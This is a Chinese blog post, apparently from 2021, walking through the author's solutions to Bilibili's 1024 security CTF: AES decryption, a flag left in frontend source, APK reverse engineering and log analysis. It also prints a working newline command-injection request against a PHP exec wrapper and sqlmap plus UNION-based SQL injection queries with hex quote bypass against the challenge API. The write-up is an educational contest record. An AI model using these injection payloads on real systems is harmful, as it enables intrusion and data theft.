每年的10-24都是个让程序猿想起就会头秃的日子,B站也让程序猿们的血压继续上升,给我们提供了一次骇入(划掉)B站的机会
去年这时正我值高三,在一轮复习的百忙之中利用课间拿手机完成的,而今年这时正值大一军训,知道ctf提前开始我也在困到要死的情况下从床上爬起来搞的,可谓两次逆风开局,准备不充分(晕😵
从去年的啥也不会一脸懵逼做对了前5道题,再到今年虽学了些东西却一脸懵逼连第一道题也不会,让我感到了自己才学疏浅经验不足,看来程序猿和黑客是完全不同的两种职业
技术层面上,这次和去年最大的区别是没有了靶机、没有了SSO登录、同时flag全都是静态的
做题笔记
做题链接https://security.bilibili.com/sec1024/
第一题
https://security.bilibili.com/sec1024/q/r1.html
网页上有以下提示内容:
1024程序员节,大家一起和2233参与解密游戏吧~
happy_1024_2233:
e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d364
0408abca7deabb96a58f50471171b60e02b1a8dbd32db156
从提示信息可得到,这是一道密码破译类的题
在经过大量测试下,我发现了happy_1024_2233
为密钥,而下面两行是16进制的密文需要拼合起来看,使用AES-ECB模式加密
因为happy_1024_2233
的长度只有15位,而AES128要求密钥长度为16位,所以需要往密钥后面补0
from Crypto.Cipher import AES
import base64
key = b'happy_1024_2233\x00'
aes = AES.new(key,AES.MODE_ECB)
passwd = 'e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156'
passwd = base64.b16decode(passwd.upper())
result = aes.decrypt(passwd).strip(b'\x00')
print(result)
运行后解密结果如下:
b'a1cd5f84-27966146-3776f301-64031bb9'
提交第1题答案后提示正确
第二题
https://security.bilibili.com/sec1024/q/r2.html
网页上有以下提示内容:
某高级前端开发攻城狮更改了一个前端配置项
https://security.bilibili.com/sec1024/q/
可以知道题目在这个url里,并且和前端有关
https://security.bilibili.com/sec1024/q/
访问这个页面时通过F12抓包发现这是个标准的VUE框架前端
遂不去分析js文件,因为源码已经“编译”并混淆,而去F12中的Source
选项卡,去查看webpack的解包
经过了一番“扫荡”,看到webpack://src/views/home.vue
的27行注释里有以下敏感内容,猜测是flag2,这是一道典型的前端信息泄露审查题
// 36c7a7b4-cda04af0-8db0368d-b5166480
提交第2题答案后提示正确
第三题
https://security.bilibili.com/sec1024/q/r3.html
网页上有以下提示内容:
PHP is the best language for web programming, but what about other languages?
https://security.bilibili.com/sec1024/q/eval.zip
根据提示我知道了出题人认为PHP是最好的网络编程语言,下面还有一行eval.zip
的url,随即下载它
wget 'https://security.bilibili.com/sec1024/q/eval.zip'
unzip eval.zip
解压后得到了eval.php
,内容如下:
<?php
/*
bilibili- ( ゜- ゜)つロ 乾杯~
uat: http://192.168.3.2/uat/eval.php
pro: http://security.bilibili.com/sec1024/q/pro/eval.php
*/
$args = @$_GET['args'];
if (count($args) >3) {
exit();
}
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) ) {
exit();
}
}
// todo: other filter
$cmd = "/bin/2233 " . implode(" ", $args);
exec($cmd, $out);
for ($i=0; $i<count($out); $i++){
echo($out[$i]);
echo('<br>');
}
?>
可看出这是一道代码审查题,从第五行的url里,得到这个php文件的执行入口
http://security.bilibili.com/sec1024/q/pro/eval.php
分析一遍代码,我们的目标就是把恶意代码注入到第18行的exec里去,从而实现远程执行自己的shell命令
从第7行得到,要注入的目标url参数是args
,请求方法是GET
,但args
不k-v参数,而是个array
从if和for代码块里能看出,参数args
有一些要求,首先array的长度不能大于3,其次每个成员都要符合/^\w+$/的要求,即不能出现除字母、数字及下划线外的字符
第17行的/bin/2233
后面用一个implode()
函数以空格拼接array的成员为字符串,这里可以卡一个php的bug,通过换行符\n
来结束此条指令以便注入,但前面必须有个属于\w的字符用来通过正则
curl 'https://security.bilibili.com/sec1024/q/pro/eval.php' -G \
--data-urlencode $'args[]=a\n' \
--data-urlencode 'args[]=ls'
执行ls
命令后得到
1.txt<br>
passwd<br>
data<br>
config<br>
继续执行cat passwd
试图取得密码,因为用到了implode()
函数以及正则的限制,这就必须分成三个成员了
curl 'https://security.bilibili.com/sec1024/q/pro/eval.php' -G \
--data-urlencode $'args[]=a\n' \
--data-urlencode 'args[]=cat' \
--data-urlencode 'args[]=passwd'
响应得到了密码内容:
9d3c3014-6c6267e7-086aaee5-1f18452a
提交第3题答案后提示正确
第四题
网页上有以下提示内容:
懂的都懂
https://security.bilibili.com/sec1024/q/
刚才做过第二题,印象深刻,知道还是刚才那个vue前端,但至于懂的都懂........我可以明确的说我啥也不懂......
因为第二题是从前端下手,所以这道题就要从另一个角度下手了
用F12抓包,筛选XHR发现左边三个选项卡“首页”、“用户信息”、“日志信息”对应三个rest api
分别是下面三个url,请求方式都是list,请求和响应正文都是application/json格式
首页:https://security.bilibili.com/sec1024/q/admin/api/v1/user/info
用户信息:https://security.bilibili.com/sec1024/q/admin/api/v1/user/list
日志信息:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list
我试图使用sqlmap分别进行SQL注入攻击
sqlmap -u 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' --method POST \
--data '{"user_id": "","user_name": "1*","action": "","page": 1,"size": 20}' \
--referer 'https://security.bilibili.com/sec1024/q/' \
--batch --risk=3
功夫不负有心人,最后终于找到了注入点,存在于user_name
字段里面
现在可以直接执行一条SELECT 1,2,3,4,5
命令判断字段映射顺序,原理是UNION联合查询时会把字段映射在相同位置上,而user_name=1时查询结果为NULL,不会被其干扰
curl 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \
-H 'Content-Type:application/json' \
-d '{"user_id": "","user_name": "1/**/UNION/**/SELECT/**/1,2,3,4,5","action": "","page": 1,"size": 20}'
同理继续探查当前数据库下有什么表,注入方法同上
SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME),5
FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE()
发现当前数据库下存在flag
、log
、user
三张表,那么根据ctf的套路我当然要康康flag里是啥,首先康康有啥字段
由于用WHERE子句进行条件限制字符串内容时需要单引号,测试发现这个后端使用的ORM会过滤掉单引号,而flag
转换成ASCII后得到0x666c6167
,即可注入成功
SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME),5
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE()
AND
TABLE_NAME=0x666c6167
这里得到数据库q
下的flag
表只有一个字段,不难发现是id
,那么直接把这个读取到就可以取得我们需要的东西了
SELECT 1,2,3,GROUP_CONCAT(id),5
FROM flag
在action
字段映射的数据也就是所有行id
字段的值(当然只有一行),这就是第四题的答案3d5dd579-0678ef93-18b70cae-cabc5d51
这道题利用了UNION联合查询注入,information_schema
数据库下TABLE_NAME
和COLUMN_NAME
表的全局信息聚合,以及HEX绕过等等MySQL特性(漏洞)
提交第4题答案后提示正确
第五题
https://security.bilibili.com/sec1024/q/r5.html
网页上有以下提示内容:
安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app
下方的下载按钮指向了这个url
https://security.bilibili.com/sec1024/q/test.apk
下载并拆包,然后反编译dex文件到jar
wget 'https://security.bilibili.com/sec1024/q/test.apk'
apktool d -s test.apk
d2j-dex2jar test/classes.dex
使用jd-gui继续反编译jar的内容
通过分析安卓应用的主活动com.example.test.MainActivity
里的初始化回调函数onCreate()
如下
protected void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2131427356);
Button button = (Button) findViewById(2131230803);
this.btn = button;
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View param1View) {
EditText editText2 = (EditText) MainActivity.this.findViewById(2131230730);
EditText editText1 = (EditText) MainActivity.this.findViewById(2131230731);
String str2 = editText2.getText().toString();
String str1 = editText1.getText().toString();
byte[] arrayOfByte2 = Encrypt.b(Encrypt.a(str2.getBytes(), 3));
byte[] arrayOfByte1 = Encrypt.b(Encrypt.a(str1.getBytes(), 3));
if (Arrays.equals(arrayOfByte2,
new byte[] { 78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109,
85, 61 })
&& Arrays.equals(arrayOfByte1, new byte[] { 89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109,
74, 109, 78, 122, 65, 120, 79, 50, 89, 61 })) {
Toast.makeText((Context) MainActivity.this, "bilibili- ( ゜- ゜)つロ 乾杯~", 1).show();
return;
}
Toast.makeText((Context) MainActivity.this, "还差一点点~~~", 1).show();
}
});
}
这段代码的含义是用句柄取得两个文本框的对象,然后再提取里面输入的文字,之后用两个Encrypt.a()
和Encrypt.b()
进行嵌套加密,最后判断加密结果是否为下面两个固定数组,如果是就弹出浮条“bilibili- ( ゜- ゜)つロ 乾杯~”否则就弹出浮条“还差一点点~~~”
所以就得分析Encrypt
类下的a()
和b()
两个函数的意义
可以看出来函数a()
是用数组的每一个成员进行XOR运算,同时修改(重新赋值)这一个成员
而b()
函数调用了base64的编码
import android.util.Base64;
public class Encrypt {
public static byte[] a(byte[] paramArrayOfbyte, int paramInt) {
if (paramArrayOfbyte == null || paramArrayOfbyte.length == 0)
return null;
int j = paramArrayOfbyte.length;
for (int i = 0; i < j; i++)
paramArrayOfbyte[i] = (byte)(paramArrayOfbyte[i] ^ paramInt);
return paramArrayOfbyte;
}
public static byte[] b(byte[] paramArrayOfbyte) {
return Base64.encode(paramArrayOfbyte, 2);
}
}
这下解题思路就明朗了,是一个典型的逆向工程题,首先把两个字面值固定数组用ASCII解码就会得到一串明显的base64字符串,接下来再进行函数a()
的逆运算,由于XOR的逆运算就是它本身,故x=a(a(x))
,函数a()
在调用加密时参数paramInt
传整数3
所以解密时同样是3
,之后再进行ASCII解码,即可还原两个真实值
因为我不会java所以就用python实现这个加解密过程
import base64
def decrypt(array, paramInt):
array = bytearray(array)
for i in range(len(array)):
array[i] = array[i]^paramInt
return bytes(array)
first = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]
second = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]
first = base64.b64decode(bytes(first))
second = base64.b64decode(bytes(second))
first = decrypt(first,3).decode()
second = decrypt(second,3).decode()
print(f'first={first}')
print(f'second={second}')
输出结果为
first=516834cc-50e448af
second=bcf9ed53-9ae4328e
拼合这一组key得到516834cc-50e448af-bcf9ed53-9ae4328e
即flag5
提交第5题答案后提示正确
第六题
https://security.bilibili.com/sec1024/q/r5.html
看到这个题目url时竟以为是出题人打错了,试着输入https://security.bilibili.com/sec1024/q/r6.html
结果是这样的.....看来我多虑了
那么依旧从刚才那个apk文件继续下手,安卓的应用的主体大概分为三部分,Dalvik字节码、Native库、资源,刚才看了dex文件,现在就要看看其他的内容了
查看apk拆包后lib目录下的文件
tree test/lib/
发现里面有arm、arm64、x86、x64四个不同架构的Native库,这....大概是需要反汇编了,又到了易姐不怎么擅长的环节了
test/lib/
├── arm64-v8a
│ └── libMylib.so
├── armeabi-v7a
│ └── libMylib.so
├── x86
│ └── libMylib.so
└── x86_64
└── libMylib.so
这道题我一点也不会,但经过借鉴抄作业完成了(高中时就有的毛病)
援引这条评论
答案为b13981f4-5ae996d4-bc04be5b-34662a78
提交第6题答案后提示正确
第七题
https://security.bilibili.com/sec1024/q/r7.html
网页上有以下提示内容:
安全研究员小孙在早上的时候发现了一波异常流量在访问网站,他初步筛选了这些可疑的请求,请帮他找到所有的恶意 IP 。
flag 生成方式:找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数。
PS: 解题过程可发送至 security@bilibili.com, 标题: 1024-sec-r7-[你的 mid] 。我们会挑选3位,给予额外惊喜
下方有个“日志下载”的链接url是https://security.bilibili.com/sec1024/q7/evil-log.log.zip?v=2
这道题是个主观题,在大公司的hr招聘时也用到了这种出题办法
wget 'https://security.bilibili.com/sec1024/q7/evil-log.log.zip?v=2' -O evil-log.log.zip
unzip evil-log.log.zip
打开一看是个web后台的访问日志(求求这里别吐槽nppp,因为用VSC打开会卡死
可以看出每一行都是一条访问记录,记录了cookie里的值、UA、referer、访问时间和ip等等
每行的记录都是json串,这就方便了程序读取
使用数据库可以方便地从多维度展开分析
创建sqlite数据库evil-log.db
并创建下表,字段名根据json串中的key命名
CREATE TABLE "log" (
"timestamp" text,
"bytes_sent" integer,
"cdn_scheme" text,
"cookie_buvid" text,
"cookie_sid" text,
"cookie_userid" integer,
"http_host" text,
"http_path" text,
"http_referer" text,
"http_user_agent" text,
"request_length" integer,
"request_time" real,
"scheme" text,
"server_name" text,
"status" integer,
"upstream_status" integer,
"x_backend_bili_real_ip" text
);
使用python程序进行数据导入
import sqlite3
import json
db = sqlite3.connect('evil-log.db')
cur = db.cursor()
for line in open('evil-log.log', 'r'):
log = json.loads(line)
# print(log)
cur.execute(
"INSERT INTO log VALUES ((?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?))",
(
log['@timestamp'],
log['bytes_sent'],
log.get('cdn_scheme'),
log['cookie_buvid'] if log['cookie_buvid'] != '-' else None,
log['cookie_sid'] if log['cookie_sid'] != '-' else None,
log['cookie_userid'] if log['cookie_userid'] != '-' else None,
log['http_host'],
log['http_path'],
log['http_referer'][1:-1] if log['http_referer'] != '"-"' else None,
log['http_user_agent'][1:-1] if log['http_user_agent'] != '"-"' else None,
log['request_length'],
log.get('request_time'),
log['scheme'],
log['server_name'],
log['status'],
log['upstream_status'],
log['x_backend_bili_real_ip'],
)
)
db.commit()
print('OK!')
不到半分钟功夫数据就全部导入了
执行一条按照ip聚类计数排序指令
SELECT x_backend_bili_real_ip,COUNT(*)
FROM log
GROUP BY x_backend_bili_real_ip
ORDER BY COUNT(*) DESC
按照常理,显然统一ip访问的次数越多,就越异常,像是爬虫的流量而不是人
大概我就只能做到这里了,技术力天花板 >︿<
由检索到的结果,可以分析出一下ip存在异常访问,根据题目提示,每个ip之间用逗号间隔
至于提交解题方法到邮箱,这个就算了,因为我这拙劣的操作已经能让专业人士哈哈大笑了,就不搁这班门弄斧
jj.bdc.bbb.cc
dc.bb.ii.jj
cde.ced.bbb.dd
cdd.bcc.bg.bib
cd.bb.cai.cbh
cd.baf.cae.cbc
bfh.ff.dj.jf
bfh.ff.dj.ig
bfh.ff.dj.fb
bfh.ff.dj.bd
bfh.ff.dj.bcf
bbb.bb.bjd.bhf
bbb.bb.bjd.bhc
bbb.bb.bjd.bha
bbb.bb.bjd.bgc
bba.ja.ccb.cbc
bba.ja.cca.beg
提交部分答案,算是有些对的答案了~
题目全部完成
OHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
总结
最后我以70分的成绩,拿到了4k+的名次(截至博客更新)
B站动态是2k+
对于我这种以玩硬件入圈的纯业余选手来说,已经很超乎预料了
也算是我个人的黑客初体验,这三年虽学了不少计网和网安知识,但还是自愧不如,综合性知识仍需继续积累
再此也提醒各位,搭建网站或者服务器,请注意前后端的安全,防止被注入、远程执行恶意代码或者信息泄露,当然加密信息尽量使用填充、混淆、加盐或者直接使用私钥等
附件:
sec2021前端dump包sec1024.zip
写于2021-10-23到2021-10-26
————社会易姐QwQ